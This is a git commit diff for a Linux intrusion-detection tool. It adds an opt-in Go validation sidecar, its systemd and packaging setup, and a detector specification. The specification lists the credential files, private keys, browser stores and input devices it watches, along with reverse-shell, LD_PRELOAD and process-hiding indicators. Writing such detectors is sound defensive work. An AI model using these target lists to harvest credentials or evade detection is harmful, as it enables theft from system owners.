feat(go): advance validation sidecar toward production

This commit is contained in:
Luna 2026-07-22 01:52:19 -07:00
parent 6a06eba255
commit f85c2e831a
No known key found for this signature in database
92 changed files with 8881 additions and 91 deletions

View file

@ -6,8 +6,10 @@ CONFDIR := /etc
LOGDIR := /var/log/enodia-sentinel
DOCDIR := $(PREFIX)/share/doc/enodia-sentinel
TMPFILESDIR := /etc/tmpfiles.d
GO_AGENT_BIN := $(CURDIR)/build/enodia-sentinel-go
GO_CACHE ?= /tmp/enodia-go-cache
.PHONY: install uninstall enable disable status logs check baseline drill test test-go parity-go release-artifacts clean
.PHONY: install install-go uninstall uninstall-go enable enable-go disable disable-go status status-go logs logs-go check baseline drill test build-go generate-go test-go parity-go check-go-service release-artifacts clean
# Installs the stdlib-only Python package as a plain directory + launcher
# wrapper (no pip, no virtualenv, no site-packages). Zero runtime deps.
@ -43,6 +45,21 @@ install:
install -dm750 $(DESTDIR)$(LOGDIR)
@echo "Installed. Run 'sudo make enable' to start the service."
# Build and install the Go migration agent as an opt-in validation sidecar.
# It deliberately has a distinct binary, unit, and state directory; this target
# never replaces or enables the production Python service.
install-go: build-go
install -Dm755 $(GO_AGENT_BIN) $(DESTDIR)$(BINDIR)/enodia-sentinel-go
install -Dm644 systemd/enodia-sentinel-go-sidecar.service $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel-go-sidecar.service
@if [ ! -e "$(DESTDIR)$(CONFDIR)/enodia-sentinel.toml" ]; then \
install -Dm644 config/enodia-sentinel.toml $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml; \
echo "Installed default config at $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml"; \
else \
echo "Existing config preserved at $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml"; \
fi
install -Dm644 go-agent/README.md $(DESTDIR)$(DOCDIR)/GO_AGENT.md
@echo "Go sidecar installed but not enabled. Run 'sudo make enable-go' to start it."
uninstall:
rm -rf $(DESTDIR)$(LIBDIR)
rm -f $(DESTDIR)$(BINDIR)/enodia-sentinel
@ -55,29 +72,59 @@ uninstall:
rm -rf $(DESTDIR)$(DOCDIR)
@echo "Uninstalled. Config and logs preserved."
uninstall-go:
rm -f $(DESTDIR)$(BINDIR)/enodia-sentinel-go
rm -f $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel-go-sidecar.service
rm -f $(DESTDIR)$(DOCDIR)/GO_AGENT.md
@echo "Go sidecar uninstalled. Shared config and sidecar state preserved."
enable:
systemctl daemon-reload
systemctl enable --now enodia-sentinel.service
enable-go:
systemctl daemon-reload
systemctl enable --now enodia-sentinel-go-sidecar.service
disable:
systemctl disable --now enodia-sentinel.service
disable-go:
systemctl disable --now enodia-sentinel-go-sidecar.service
status:
systemctl status enodia-sentinel.service --no-pager
status-go:
systemctl status enodia-sentinel-go-sidecar.service --no-pager
logs:
journalctl -u enodia-sentinel.service -f
logs-go:
journalctl -u enodia-sentinel-go-sidecar.service -f
# Dev targets — run from the repo without installing.
test:
python3 -m unittest discover -s tests -v
test-go:
cd go-agent && GOCACHE=/tmp/enodia-go-cache go test ./...
cd go-agent && GOCACHE=$(GO_CACHE) go test ./...
build-go:
install -d $(dir $(GO_AGENT_BIN))
cd go-agent && CGO_ENABLED=0 GOCACHE=$(GO_CACHE) go build -buildvcs=false -trimpath -ldflags='-s -w' -o $(GO_AGENT_BIN) ./cmd/enodia-sentinel-go
generate-go:
cd go-agent && go generate ./internal/ebpfsource
parity-go:
python3 scripts/check-go-parity.py
check-go-service:
systemd-analyze verify systemd/enodia-sentinel-go-sidecar.service
python3 -m unittest tests.test_go_sidecar_packaging -v
check:
python3 -m enodia_sentinel.cli check
@ -95,3 +142,4 @@ release-artifacts:
clean:
find . -type d -name __pycache__ -prune -exec rm -rf {} +
rm -f $(GO_AGENT_BIN)

View file

@ -64,14 +64,17 @@ Project docs:
> detectors, and JSON output. The bash version and the Python version share one
> red-team harness, so every signature is exercised against both.
Phase 1 now also has an **experimental Go sidecar** under `go-agent/`. It emits
the same `enodia.event.v1` envelope and captures an injectable `/proc` process
and memory-map view plus `ss` sockets. The parity-checked cohort is `reverse_shell`,
`ld_preload`, `deleted_exe`, `input_snooper`, `credential_access`,
`stealth_network`, `memory_obfuscation` (including mapped hide/injection
libraries), and `egress`. It is stdout-only and does not replace,
install over, or write state for the Python daemon; Python remains authoritative
until subsystem parity is complete.
The migration also has an **opt-in Go validation sidecar** under `go-agent/`.
It emits the same `enodia.event.v1` envelope, has fixture parity for all current
poll detectors plus exec/syscall/typed-host rules and correlation, and uses
embedded `cilium/ebpf` CO-RE probes for the live event paths. A separate
hardened systemd unit writes JSONL to journald, retains a bounded copy of the
event stream plus baseline state and an atomic heartbeat under
`/var/lib/enodia-sentinel-go`, and fails open to polling if a probe cannot load.
It also writes bounded `enodia.alert.snapshot.v1` JSON/text pairs with truthful
status counts. It does not replace, install over, or write state for the Python
daemon; Python remains authoritative for richer forensic enrichment, incidents,
assurance, notifications, and the remaining subsystem parity.
## Why these detectors
@ -171,14 +174,26 @@ enodia_sentinel/
└── monitor.py runs the probe on a thread, routes events → rules
```
The parallel Phase 1 tree is intentionally isolated:
The parallel migration tree is intentionally isolated:
```text
go-agent/
├── cmd/enodia-sentinel-go/ experimental JSONL sidecar
└── internal/ config · model · system · detectors · schema · loop
├── cmd/enodia-sentinel-go/ static JSONL validation agent
└── internal/ config · capture · baselines · rules · eBPF · health
```
Build or install the opt-in sidecar without changing the default service:
```bash
make build-go
sudo make install-go
sudo make enable-go
enodia-sentinel-go --health
```
See [Go agent details](go-agent/README.md) and the
[packaging guide](docs/PACKAGING.md) for its isolation and privilege contract.
Three complementary detection paths feed one Alert → snapshot pipeline:
- **Poll** — every few seconds, sweep `/proc`/`ss` (catches anything lingering).
@ -309,6 +324,7 @@ drill only sets the env var on a throwaway process.
make test # stdlib unittest suite, no runtime deps
make test-go # stdlib-only Go sidecar unit tests
make parity-go # shared fixture: Go output vs Python oracle
make check-go-service # systemd validation + packaging isolation tests
```
Detectors are pure functions over an injectable `SystemState`, so tests build

View file

@ -15,7 +15,7 @@ suid_scan_interval = 60 # seconds between (backgrounded) SUID filesystem sca
detectors = [
"reverse_shell", "ld_preload", "deleted_exe",
"input_snooper", "credential_access", "stealth_network",
"memory_obfuscation",
"memory_obfuscation", "first_seen",
"new_listener", "new_suid", "persistence", "egress",
]

145
docs/GO_PORT_HANDOFF.md Normal file
View file

@ -0,0 +1,145 @@
# Go Port Handoff
Saved: 2026-07-22T01:40:52-07:00
Branch: `main`
Base commit: `6a06eba` (`docs(behavior): add behavioral spec for sweep + baseline lifecycle`)
Status: implemented and green, but uncommitted
## Worktree warning
The checkout is intentionally dirty and contains work from multiple related
continuations. Do not reset, clean, or broadly restage it.
- At this checkpoint, `git status --short` has 62 entries (105 when every
untracked file is expanded instead of collapsing directories).
- This handoff is itself currently untracked and should be included when the
Go migration tranche is eventually committed.
- `docs/behavior/02-poll-detectors.md` and `docs/behavior/index.md` already had
staged content plus later unstaged edits (`AM` / `MM`). This save did not
change the index.
- The Python GUI files and tests are separate pre-existing work. Preserve them
while continuing the Go port.
- `build/` is ignored and contains only local build output.
## Implemented Go surface
The Go module requires Go 1.25 or newer and is currently verified with
`go1.26.5-X:nodwarf5`. It uses `github.com/cilium/ebpf` v0.22.0 and builds as a
static binary.
### Polling and lifecycle
- All current Python poll detectors have Go parity: `reverse_shell`,
`ld_preload`, `deleted_exe`, `input_snooper`, `credential_access`,
`stealth_network`, `memory_obfuscation`, `egress`, `first_seen`,
`new_listener`, `persistence`, and `new_suid`.
- `--state-dir` enables isolated listener/SUID baselines, startup grace,
persistence scans, and atomic first-seen retention.
- The Go state directory must never be the Python daemon's
`/var/log/enodia-sentinel` directory.
### Event rules and native sources
- Exec rules: built-in SIDs `100001`-`100004` plus configured rules.
- Syscall rules: SIDs `100060`-`100066`.
- Typed host rules: SIDs `100067`-`100073` and `100076`-`100078`.
- Mixed JSONL routing, rule catalog operations, correlation SID `100080`, and
one shared cooldown gate are implemented.
- Embedded CO-RE exec and filtered raw-syscall probes use `cilium/ebpf` and
fail open to polling on load/attach/read failures.
- Native typed transports include UID/GID changes, chmod/chown variants,
`capset`, `finit_module`, confirmed interpreter `write`/`writev`/`pwrite64`/
`pwritev`/`pwritev2`, and successful TCP connect/bind/listen/accept calls
with `/proc` endpoint resolution.
- Generated little- and big-endian BPF objects live under
`go-agent/internal/ebpfsource/`. Run `make generate-go` only after changing
`go-agent/internal/ebpfsource/bpf/*.bpf.c`.
### Production validation path
- `make build-go` creates a stripped, static, VCS-independent binary.
- `make install-go` installs the separate binary and
`enodia-sentinel-go-sidecar.service` without replacing or enabling the
Python service.
- The hardened systemd unit has a current `systemd-analyze security` exposure
score of 4.3 (`OK`). It preserves the host `/proc`, `/tmp`, and network view
because detectors require them, while hiding the Python state tree.
- The unit uses `Type=notify`; READY is sent only after baseline setup, event
log preflight, and both requested probe-load attempts.
- JSONL remains visible in journald and is also retained as private bounded
`/var/lib/enodia-sentinel-go/events.jsonl` plus `events.jsonl.1` (64 MiB per
active segment boundary). Non-status events are synchronized to disk.
- `/var/lib/enodia-sentinel-go/heartbeat` is atomically refreshed after each
successful status emission.
- `enodia-sentinel-go --health` returns `enodia.go.health.v1` JSON and a
watchdog-friendly exit status.
- `enodia-sentinel-go --events-tail N` reads active and rotated retained events
chronologically, validates JSON, fails closed on corruption, and deliberately
works without loading the agent configuration.
- The unit now retains private `alert-YYYYMMDD-HHMMSS.{json,log}` pairs using
the required `enodia.alert.snapshot.v1` fields. Same-second alerts merge into
one pair, process context is collected best-effort from `/proc`, and shared
`max_snapshots` / `max_snapshot_age_days` limits are applied at startup,
capture, and status time.
- `enodia.status.v1` totals, severity counts, and last-alert time are populated
only from parseable retained Go snapshots. Python's unchanged `list_alerts`
and `get_alert` data layer successfully consumed a Go-produced pair.
- Snapshot incident IDs remain null and enrichment currently contains only a
Go-source marker plus process detail; incident indexing, rich enrichment,
assurance chaining, and notification fan-out are not yet ported.
- No live system service was installed or enabled during development.
## Last green verification
Run from the repository root:
```bash
python3 -m unittest discover -s tests -q
cd go-agent
GOCACHE=/tmp/enodia-go-cache go test ./...
GOCACHE=/tmp/enodia-go-cache go test -race ./...
GOCACHE=/tmp/enodia-go-cache go vet ./...
go mod verify
cd ..
make parity-go
make check-go-service
git diff --check
```
Results at save time:
- Python: 377 tests passed.
- Go unit and race suites: all packages passed.
- `go vet` and `go mod verify`: passed.
- Parity: 22 poll alerts, 5 exec alerts, 7 syscall alerts, 10 typed-host
alerts, 22 catalog records, 3 mixed-stream alerts, and 2 correlations.
- `systemd-analyze verify` and the three Go sidecar packaging/isolation tests:
passed.
- Static builds: `linux/amd64`, `linux/arm64`, `linux/riscv64`, and
`linux/s390x` passed.
- Integration smoke tests passed for static binary identity, JSON emission,
READY/STOPPING notification, heartbeat freshness/staleness, retained event
equivalence, tail selection, corruption rejection, and evidence reading with
malformed TOML. Snapshot smoke tests also passed for same-second batching,
severity aggregation, private JSON/text pairs, truthful status counts,
startup/quiet-period retention, process context, and Python dashboard-reader
compatibility.
The Python suite prints three expected CLI error lines from negative tests and
one existing `ResourceWarning` for an implicitly cleaned-up HTTP 401 object;
the suite still exits successfully.
## Resume here
1. Add Python-compatible incident grouping/index persistence so retained Go
snapshots can carry real `incident_id` values and correlation timelines.
2. Port bounded post-alert enrichment and local assurance chaining without
adding destructive response behavior or blocking the event loop on slow
collectors.
3. Connect the isolated Go snapshot/event state to explicit read-only
management consumers while keeping Python authoritative.
4. Continue broader Phase 3 rule metadata/state parity before considering any
default-service or package cutover.
Keep the validation sidecar opt-in, preserve its separate state tree, and keep
new attack/event primitives disconnected from destructive response paths.

View file

@ -62,6 +62,65 @@ sudo systemctl daemon-reload
sudo systemctl restart enodia-sentinel.service
```
## Go Migration Sidecar (opt-in)
The Go agent has a separate validation service and is never installed by the
default `make install` target or the Arch package. Build and install it
explicitly from a checkout with Go 1.25 or newer:
```bash
make build-go
sudo make install-go PREFIX=/usr/local
sudo make enable-go
```
The static `enodia-sentinel-go` binary emits `enodia.event.v1` JSONL to the
system journal. Its service owns `/var/lib/enodia-sentinel-go` for baseline
state and a bounded retained event stream. `events.jsonl` rotates to one
`events.jsonl.1` segment before crossing 64 MiB; both are private to root, and
non-status records are synchronized before emission succeeds. The service
requests the embedded native exec and syscall probes and fails open to polling
when the kernel refuses a probe. It does not write the production Python
daemon's `/var/log/enodia-sentinel` state or replace
`enodia-sentinel.service`. Systemd readiness is emitted only after baseline
initialization, event-log and snapshot-store preflight, and both requested probe
load attempts complete.
Alert events are additionally retained as private
`alert-YYYYMMDD-HHMMSS.{json,log}` pairs in `/var/lib/enodia-sentinel-go`.
Same-second events are merged into one snapshot, required
`enodia.alert.snapshot.v1` fields are preserved, and the shared
`max_snapshots` / `max_snapshot_age_days` settings bound retention. The current
Go enrichment block is intentionally minimal; Python remains authoritative for
incident grouping, rich enrichment, assurance chaining, and notifications.
Each successful sweep atomically refreshes
`/var/lib/enodia-sentinel-go/heartbeat` as a Unix timestamp with mode `0600`;
the retained value becomes stale when the sidecar stops or wedges.
`enodia-sentinel-go --health` reports that state as JSON and exits nonzero when
it is unavailable or older than the configured `heartbeat_max_age`.
Inspect the retained event stream without depending on journald:
```bash
sudo tail -n 50 /var/lib/enodia-sentinel-go/events.jsonl
sudo enodia-sentinel-go --events-tail 50
```
The native reader includes `events.jsonl.1`, preserves chronological order, and
fails nonzero if either retained segment contains malformed JSON.
Inspect or remove the validation service with:
```bash
sudo make status-go
sudo make disable-go
sudo make uninstall-go
```
Uninstalling preserves the shared configuration and sidecar state for forensic
review or a later reinstall.
## Debian and Ubuntu
There is no native `.deb` package yet. Use the source install path:

View file

@ -259,12 +259,39 @@ Exit criteria:
- Suricata model assimilation design is complete, and Phase 0's additive
`enodia.event.v1` Python reference contract is implemented.
- Phase 1 is in progress under `go-agent/`: a stdlib-only parallel sweep loop,
injectable process/file-descriptor/socket state, and seven poll detectors
(`reverse_shell`, `ld_preload`, `deleted_exe`, `input_snooper`,
`credential_access`, `stealth_network`, `egress`) are checked against the
Python oracle with a shared fixture. The Go sidecar remains stdout-only and
non-production until broader parity lands.
- Phase 1 under `go-agent/` now has a stdlib-only parallel sweep loop,
injectable process/file-descriptor/socket state, and all current Python poll
detectors ported: `reverse_shell`, `ld_preload`, `deleted_exe`,
`input_snooper`, `credential_access`, `stealth_network`, `egress`,
`memory_obfuscation`, `first_seen`, `new_listener`, `persistence`, and
`new_suid`. The shared fixture and `scripts/check-go-parity.py` check Go
output against the Python oracle. A new `provenance` package provides
pacman/dpkg/rpm ownership queries so the Go `new_listener` detector can
mirror Python's package-owned-listener suppression. Opt-in `--state-dir`
mode now builds listener/SUID baselines, applies the shared startup grace
gate, scans persistence paths, and retains first-seen network state. The Go
sidecar also has offline-replay parity for the exec rule family (built-ins
`100001``100004` plus configured `[[exec_rules]]`) and syscall rules
`100060``100066`, plus all typed host rules, the active rule catalog,
mixed-event JSONL routing, correlation SID `100080`, and sweep cooldown. The
first Phase 2 transports have landed as an opt-in `cilium/ebpf` execve
tracepoint source plus a filtered raw-syscall source for SIDs `100060`
`100066`, both with CO-RE parent lookup, shared cooldown/emission, and
fail-open probe status. The syscall source also routes `setuid`/`setgid` into
typed-host SIDs `100071`/`100072` and permission/ownership changes into SID
`100070`, including relative-path resolution. Confirmed interpreter
`write`/`writev`/`pwrite` variants,
successful TCP connect/bind/listen/accept calls, `capset`, and `finit_module`
now feed typed-host SIDs `100069`, `100067`/`100073`/`100068`/`100076`,
`100077`, and `100078`. Phase 2 now also includes an opt-in hardened systemd
validation unit, static build/install path, isolated baseline state, and
journal JSONL. A bounded rotating JSONL copy provides isolated retained event
history, and an atomic heartbeat gives external watchdogs a non-journal
liveness signal. Bounded Python-schema-compatible JSON/text alert snapshots
now provide truthful retained counts and basic process context. The Python
service remains the production default until incident grouping, rich
enrichment/assurance, management-console consumers, and broader subsystem
parity land.
## Backlog

View file

@ -233,8 +233,26 @@ signature keeps `sid` / `signature` / `classtype` / tests / docs.
`input_snooper`, `credential_access`, `stealth_network`, the
`memory_obfuscation` cohort, and `egress`;
Python remains the production agent.
- **Phase 2 — eBPF via `cilium/ebpf`.** Port exec/syscall rules; drop the
bcc/Python runtime dependency; single static binary.
- **Phase 2 — eBPF via `cilium/ebpf`.** The transport-independent exec/syscall
event models and rule engines have offline Python-envelope parity in Go. An
opt-in native execve and filtered raw-syscall tracepoints now feed both rule
engines through `cilium/ebpf` with CO-RE parent lookup and fail-open polling
fallback; root UID/GID transitions and persistence-path permission changes
plus capability-set and file-backed module-load requests also feed the
typed-host engine. Interpreter `write`/`writev`/`pwrite` variants are
enter/exit-correlated and filtered in-kernel before their FD paths are
resolved in userspace. Successful
connect/bind calls are likewise correlated, with TCP inode verification for
connect events; listen/accept calls resolve both endpoints from the successful
socket FD.
An opt-in hardened systemd validation unit now runs the static Go binary with
isolated baseline state, journal JSONL, a bounded retained JSONL stream, and
an atomic health marker. All current typed-host families now have native
transports. Bounded `enodia.alert.snapshot.v1` JSON/text pairs now retain
alerts with basic process context and feed truthful status counts. Incident
grouping, rich enrichment/assurance, management-consumer integration, and
broader parity must land before the bcc/Python runtime dependency can be
dropped.
- **Phase 3 — Rule-engine parity + assimilation.** `rev`/`reference`/`metadata`,
statebits (flowbits), thresholding, suppression, and — if rule count warrants
— the MPM prefilter. `rules list/show/test/docs` parity.

View file

@ -331,7 +331,7 @@ Store paths derive from `log_dir`: `listener-baseline.json`,
---
## 1.8 Port parity notes (Go 2.0)
## 1.8 Port parity notes (Go port)
What the Go agent must reproduce to be behavior-equivalent for this subsystem:
@ -349,7 +349,8 @@ What the Go agent must reproduce to be behavior-equivalent for this subsystem:
the other wrote.
- **Reconcile-before-cooldown** ordering and 60s per-key cooldown (§1.6).
Current Go status (as of this writing): poll detectors are ported and pass the
parity fixture, but baselines are still **injected from fixtures** — the store
package, live SUID walk, and the daemon-equivalent lifecycle above are the
work this document specifies.
Current Go status: poll detectors pass the parity fixture. The baseline store,
live SUID walk, startup grace, persistence scan, and first-seen retention are
implemented behind the sidecar's explicit `--state-dir` lifecycle. Fixture mode
continues to inject state and never touches a live store. Production service
cutover remains outside this acceptance slice.

View file

@ -0,0 +1,276 @@
<!-- SPDX-License-Identifier: GPL-3.0-or-later -->
# 2. Poll Detectors
Scope: the per-detector behavioral contract for the twelve pure detectors in
`detectors/`. Each is a `detect(state, cfg) -> Iterable[Alert]` over the
`SystemState` built in §1. This section documents, per detector, the inputs it
reads, the match algorithm, the exact alert it emits, and its allow-list /
fail-open rules. The registry order and the baseline-arming gate are in §1.3 /
§1.5; the alert fields and dedup keying are in §1.1.
Every detector is fail-open by inheritance: it reads already-captured
`SystemState` fields, and missing `/proc`/`ss` data is an empty value, never an
exception.
## 2.0 Signature summary
The stable contract. A port emitting a different SID, severity, classtype, or
key for the same condition is a parity break.
| SID | signature | severity | classtype | key |
|-----|-----------|----------|-----------|-----|
| 100010 | `reverse_shell` | CRITICAL | `c2-reverse-shell` | `rsh:<pid>` |
| 100011 | `ld_preload` | CRITICAL | `rootkit-preload` | `ldp:global`, `ldp:<pid>` |
| 100012 | `deleted_exe` | CRITICAL | `fileless-execution` | `del:<pid>` |
| 100013 | `new_listener` | HIGH | `backdoor-listener` | `lis:<port>/<comm>` |
| 100014 | `new_suid` | CRITICAL / HIGH | `privilege-escalation` | `suid:<path>` |
| 100015 | `persistence` | HIGH | `persistence` | `persist:<path>` |
| 100016 | `egress` | HIGH | `c2-exfil` | `egr:<pid>:<host>` |
| 100032 | `input_snooper` | HIGH | `credential-keylogging` | `input:<pid>:<target>` |
| 100033 | `credential_access` | CRITICAL | `credential-theft` | `cred:<pid>:<target>` |
| 100036 | `stealth_network` | MEDIUM / HIGH | `covert-channel` | `stealthnet:<kind>:<pid>:<local>:<peer>` |
| 100039 | `memory_obfuscation` | HIGH / CRITICAL | `memory-obfuscation` | `mem:memory_obfuscation:<pid>:<lo>-<hi>` |
| 100048 | `process_hiding_library` | CRITICAL | `process-hiding` | `mem:process_hiding_library:<pid>:<lo>-<hi>` |
| 100049 | `process_injection_library` | HIGH | `process-injection` | `mem:process_injection_library:<pid>:<lo>-<hi>` |
| 100074 | `first_public_destination` | MEDIUM | `network-rarity` | `firstdest:<comm>:<ip:port>` |
| 100075 | `first_listener_port` | MEDIUM | `network-rarity` | `firstlisten:<comm>:<port>` |
`<lo>-<hi>` are the map bounds formatted as lowercase hex (`{start:x}-{end:x}`).
Allow-list config keys and their defaults live in `config.py`; this section
names each key where used. The Go port mirrors the same defaults (see
`go-agent/internal/config`), so the values are asserted by config tests, not
repeated here.
---
## 2.1 Shared address helpers (`netutil.py`)
Used by `egress`, `stealth_network`, and `first_seen`.
- `split_host_port(endpoint)` — splits an `ss` endpoint. If it starts with `[`,
partition on `]` (IPv6, e.g. `[::1]:22``::1`, `22`); else `rpartition(":")`
(e.g. `10.0.0.2%eth0:443``10.0.0.2%eth0`, `443`). Returns `(host, port)`
strings.
- `parse_addr(addr)` — strips `[]`, drops an IPv6 `%zone`, returns an
`ipaddress` object or `None`.
- `is_public_ip(addr)``True` only if `parse_addr(...).is_global`: excludes
loopback, RFC1918, link-local, CGNAT (100.64/10), and other non-global
ranges. Unparseable → `False`.
- `ip_in_cidrs(addr, cidrs)``True` if `addr` is inside any CIDR (the operator
trust list); version-matched; bad CIDRs skipped.
## 2.2 Package provenance (`provenance.py`)
Used by `new_listener` (§2.11) as an optional suppressor.
`package_owner(path)` returns the owning package string or `None`, using the
first available of `pacman -Qo` / `dpkg -S` / `rpm -qf` (5s timeout each, cached
via `lru_cache`; `(deleted)` suffix stripped first). `is_package_owned(path) =
package_owner(path) is not None`. **Contract:** ownership *ranks/explains*, it
never proves safety — it may suppress a `new_listener` alert but is never used
to silently drop anything else.
---
## 2.3 `reverse_shell` — SID 100010, CRITICAL
Interpreter process with a **network** socket on its stdio.
- Input: `state.processes`, `state.net_peer_by_inode`.
- Match, per process: `proc.comm in cfg.interpreters`; `proc.stdio_socket_inode()`
is not `None` (fd 0/1/2 links to `socket:[…]`); and that inode appears in the
network socket table (`net_peer_by_inode`). The last condition is what
excludes benign unix sockets / pipes and keeps false positives near zero.
- Emit: key `rsh:<pid>`, `pids=(pid,)`, detail
`pid=… comm=… stdio=net-socket peer=[local -> peer] cmd=[<cmdline first 90>]`.
- Config: `interpreters` allow-*set of shell/scripting comms* (membership means
"watch", not "trust").
## 2.4 `ld_preload` — SID 100011, CRITICAL
Two independent signatures, same SID:
1. **Global**`/etc/ld.so.preload` exists and is non-empty (fail-open read).
Key `ldp:global`, no pids, detail includes the file contents (newlines →
spaces).
2. **Per-process** — a process whose `environ["LD_PRELOAD"]` starts with a
suspicious prefix: `("/tmp/", "/dev/shm/", "/var/tmp/", "/run/user/", "./")`.
Key `ldp:<pid>`, `pids=(pid,)`.
Note the global check reads `/etc/ld.so.preload` directly (not the injected
`state`), so a port must read it live inside the detector or supply it on state.
## 2.5 `deleted_exe` — SID 100012, CRITICAL
Process running from a deleted or memfd-backed binary in an attacker-controlled
location.
- Match: `proc.exe` is fileless — `"memfd:" in exe`, **or** `"(deleted)" in exe`
**and** `exe` starts with `("/tmp/", "/dev/shm/", "/var/tmp/", "/run/")`.
Normal-path deleted exes (a daemon still running after a package upgrade) are
ignored on purpose.
- Emit: key `del:<pid>`, `pids=(pid,)`, detail `pid=… comm=… exe=[…]`.
## 2.6 `input_snooper` — SID 100032, HIGH
Process holding a keyboard/HID event device open (keylogger tell).
- Match, per process: skip if `comm in cfg.input_snooper_allow_comms`; then scan
`fd_targets` for a target starting with `("/dev/input/event", "/dev/uinput",
"/dev/hidraw")`. **First** matching fd emits and then `break` (at most one
alert per process).
- Emit: key `input:<pid>:<target>`, `pids=(pid,)`, detail
`pid=… comm=… fd=… has input device open: <target>`.
- Config: `input_snooper_allow_comms` (display servers, compositors, remappers).
## 2.7 `credential_access` — SID 100033, CRITICAL
Live process with a sensitive credential file open.
- Match, per process: skip if `comm in cfg.credential_access_allow_comms`; then
per fd target (with a trailing ` (deleted)` stripped), classify via
`_sensitive_kind`, first hit emits then `break`. Classification precedence:
1. exact file in `{/etc/shadow, /etc/gshadow, /etc/security/opasswd}`
"system credential database";
2. matches `cfg.credential_access_extra_paths` (entry ending `/` = prefix;
else exact or `entry/` prefix) → "configured credential path";
3. path contains `/.ssh/` and basename starts `id_` or ends `.pem`/`.key`
"private SSH key";
4. path under `/etc/NetworkManager/system-connections/` → "NetworkManager
secret profile";
5. basename in `{logins.json, key4.db, "Login Data", Cookies}` **and** path
(lowercased) contains a browser marker (`/.mozilla/`, `/firefox/`,
`/chromium/`, `/google-chrome/`, `/chrome/`, `/brave`, `/vivaldi/`,
`/edge/`) → "browser credential store".
Non-absolute paths are never sensitive.
- Emit: key `cred:<pid>:<target>`, `pids=(pid,)`, detail
`pid=… comm=… fd=… has <kind> open: <target>`.
- Config: `credential_access_allow_comms`, `credential_access_extra_paths`.
## 2.8 `stealth_network` — SID 100036, MEDIUM or HIGH
Sockets in families attackers use to slide around TCP/UDP checks.
- Watched kinds: `{raw, sctp, dccp, packet, mptcp, tipc, xdp, vsock}` (matched
on `sock.kind.lower()`).
- Skip if: kind in `cfg.stealth_network_allow_kinds`; or `sock.comm` in
`cfg.stealth_network_allow_comms`; or `sock.state` is non-empty and **not** in
`{ESTAB, LISTEN, UNCONN, CONNECTED, SYN-SENT, SYN-RECV}`.
- Severity: HIGH if kind in `{raw, packet, xdp}`; else HIGH if `state == LISTEN`
or the peer is a public IP outside the egress trust list; else MEDIUM.
- Emit: key `stealthnet:<kind>:<pid>:<local>:<peer>`, `pids=(pid,)` only when
pid is known, detail `<kind> socket state=… local=… peer=… comm=<comm or ?>
pid=<pid or ?>`.
## 2.9 `egress` — SID 100016, HIGH
Interpreter holding an outbound connection to a public IP.
- Match, per `established_sockets()`: `s.comm in cfg.interpreters`; peer host is
public (`is_public_ip`); peer not in `cfg.egress_allow_cidrs`.
- Emit: key `egr:<pid>:<host>`, `pids=(pid,)` when pid known, detail
`pid=… comm=… -> <host>:<port> (interpreter to public IP)`.
## 2.10 `memory_obfuscation` — SIDs 100039 / 100048 / 100049
Inspects `/proc/<pid>/maps` shapes (never reads process memory). Per process,
each map is classified by `_indicator`; **at most one alert per signature per
process** (a per-process `seen` set). Precedence within a single map:
1. If `path` matches `cfg.memory_obfuscation_allow_paths` (prefix) → ignore.
2. `path` basename contains a hide hint (`libhide`, `libprocesshide`,
`process_hide`, `proc_hide`, `rootkit_hide`) → **`process_hiding_library`**,
SID 100048, CRITICAL, classtype `process-hiding`.
3. executable **and** library from a writable/runtime path (`/tmp/`, `/dev/shm/`,
`/var/tmp/`, `/run/user/` with a `.so`/`.so.`/`.dylib` in the name) →
**`process_injection_library`**, SID 100049, HIGH, classtype
`process-injection`.
4. executable **and** path contains `memfd:` or `(deleted)`
**`memory_obfuscation`**, SID 100039, CRITICAL.
5. executable **and** writable (RWX) → `memory_obfuscation`, HIGH.
6. executable **and** anonymous (`""`, `[heap]`, `[stack]`, `[anon…`,
`[stack:…`) → `memory_obfuscation`, HIGH.
The `memory_obfuscation` signature (only) is additionally suppressed when
`comm in cfg.memory_obfuscation_allow_comms` (JITs: java, node, browsers,
dotnet, qemu, wine, wasmtime). The library signatures are **not** suppressed by
that allow-list.
- Emit: key `mem:<signature>:<pid>:<lo>-<hi>`, `pids=(pid,)`, detail
`pid=… comm=… <indicator detail> range=<lo>-<hi>`.
## 2.11 `new_listener` — SID 100013, HIGH
New listening socket absent from the startup baseline (see §1.5.1). No-op when
`state.listener_baseline is None` (unarmed).
- Match, per `LISTEN` socket: identity `key = port/comm` where
`port = local.rpartition(":")[2]` and `comm` defaults `?`. Skip if key in
`state.listener_baseline`, or `port in cfg.listener_allow_ports`, or
`comm in cfg.listener_allow_comms`.
- Optional provenance gate: if `cfg.suppress_package_owned_listeners` and the
owning process's `exe` `is_package_owned`, skip.
- Emit: key `lis:<port>/<comm>`, `pids=(pid,)` when known, detail
`new listening socket <local> by comm=<comm>`.
## 2.12 `new_suid` — SID 100014, HIGH or CRITICAL
SUID/SGID binary not in the baseline. No-op when `state.suid_binaries is None`
**or** `state.suid_baseline is None` (see §1.5.3 — no alerts until an async scan
result exists).
- Match, per path in `state.suid_binaries` not in `state.suid_baseline`:
`hot = any(path.startswith(d.rstrip("/") + "/") for d in cfg.suid_hot_dirs)`.
- Severity: CRITICAL if hot (writable dir), else HIGH.
- Emit: key `suid:<path>`, no pids, detail
`SUID/SGID binary in writable dir: <path>` (hot) or `new SUID/SGID binary:
<path>`.
## 2.13 `persistence` — SID 100015, HIGH
Watched persistence-relevant file modified since the previous sweep. No-op when
`state.persist_since is None` (unarmed).
- Input: walk `cfg.watch_persistence` (a dir → recurse `os.walk`, a file →
itself). For each existing file, `mtime = os.lstat(path).st_mtime`
(unreadable → skip).
- Match: `mtime > state.persist_since` (the *previous* sweep's timestamp; §1.5.4).
- Emit: key `persist:<path>`, no pids, detail `persistence file modified:
<path>`.
## 2.14 `first_seen` — SIDs 100074 / 100075, MEDIUM
Network-rarity tracking with a self-owned persistent store. The store format,
the `initialized` learn-once semantics, and the restart asymmetry are specified
in §1.5.5 — not repeated here. Match summary:
- `first_public_destination` (100074): a `comm` reaches an `ESTAB` peer that is
a public IP:port not previously recorded for it. Key
`firstdest:<comm>:<ip:port>`, `pids=(pid,)` when known.
- `first_listener_port` (100075): a `comm` opens a `LISTEN`/`UNCONN` tcp/udp
socket on a numeric non-zero port not previously recorded for it. Key
`firstlisten:<comm>:<port>`.
Both only alert when the store is already `initialized`; the recording of the
new value happens regardless (so the alert fires once).
---
